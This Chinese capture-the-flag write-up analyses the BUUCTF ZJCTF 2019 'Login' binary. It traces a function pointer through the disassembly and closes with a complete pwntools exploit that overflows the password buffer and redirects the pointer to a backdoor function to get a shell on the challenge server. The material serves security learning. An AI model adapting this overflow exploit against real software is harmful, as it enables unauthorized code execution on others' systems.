Featured image of post BUUCTF-ZJCTF-2019-Login 题解

BUUCTF-ZJCTF-2019-Login 题解

|

题目

题目链接

checksec

这是什么鸭

存在 canary 保护

IDA

main

这是什么鸭

一个简单的登录系统

观察到 [rbp-0x130] ,它来自于 password_checker 的 rax

Admin_password_checker

这是什么鸭

snprintf 这里有一个坑, src 和 dest 相同会产生 buffer overlap 的问题,产生非预期结果,而使用 ‘\x00’ 可以截断这种行为

其实经过动调可知,我们应该劫持 a1 为后门函数地址

Admin_password_checker_asm

这是什么鸭

上面的 a1 即此处的 rax ,为 rdi 解两层引用,接下来回到 main 去溯源 rdi

main_asm

这是什么鸭

rdi 溯源至 rbp - 0x130 ,注意并不是 [rbp - 0x130] , [rbp - 0x130] 溯源至 password_checker 后的 rax

password_checker_asm

这是什么鸭

rax 溯源至 rbp - 0x18 ,注意并不是 [rbp - 0x18] ,由此 call rax 中的 rax 最终溯源 [rbp - 0x18] ,注意此处的 rbp 为 password_checker 的 rbp

read_password

这是什么鸭

backdoor

这是什么鸭

攻击思路

接下来可以直接动调,获取以下信息:

  • call rax 中 rax 的最初来源
  • read_password 中覆盖到 rax 最初来源所需的溢出长度

然后就可以直接 get shell 啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	p = process('./login')
else:
	p = remote('node5.buuoj.cn', 27735)
	
def attack():
	p.sendlineafter(b'username: ', b'admin')
	pwd = b'2jctf_pa5sw0rd\x00'
	payload = pwd.ljust(72, b'\x00') + p64(0x400e88)
	p.sendafter(b'password: ', payload)
	p.interactive()

attack()
本博客已稳定运行
发表了40篇文章 · 总计96383字
使用 Hugo 构建
主题 Stack 设计自 Jimmy